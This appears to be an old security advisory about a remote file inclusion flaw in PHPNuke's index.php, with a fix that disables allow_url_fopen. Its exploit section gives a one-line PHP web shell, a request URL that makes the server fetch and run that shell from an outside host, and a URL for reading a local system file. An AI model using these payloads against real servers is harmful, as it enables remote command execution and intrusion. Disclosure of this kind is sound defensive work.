COMMAND

	Index.php allows arbitrary PHP remote command execution

SYSTEMS AFFECTED

	PHPNuke v??

PROBLEM

	\"Nopman\" says :
	

	The flaw  is  in  the  index.php\'s  include  file  feature.  It  allows
	including files like index.php?file=file  It  prevents  users  including
	..\'s  in  URL\'s,  but  it  didn\'t   prevent   users   from   entering
	http://-urls Remember the PHP\'s remote get feature...
	

	 Exploit

	 =======

	

	Upload this file to some free web  space  provider  or  setup  your  own
	server:
	

	<?php

	system($cmd);

	?>

	

	Then just requesting 

	http://insecure-server/index.php?file=http://where.the.bad.php.file.is/evil.php&cmd=ls%20-al

	will execute ls -al command.

	

	

	 Update (25 Januaru 2002)

	 ======

	

	RoMAnSoft added that the following url would  allow  access  to  win.ini
	file :
	

	http://victimserver/index.php?file=3Dc:\\winnt\\win.ini

	

SOLUTION

	Set allow_url_fopen to off in php.ini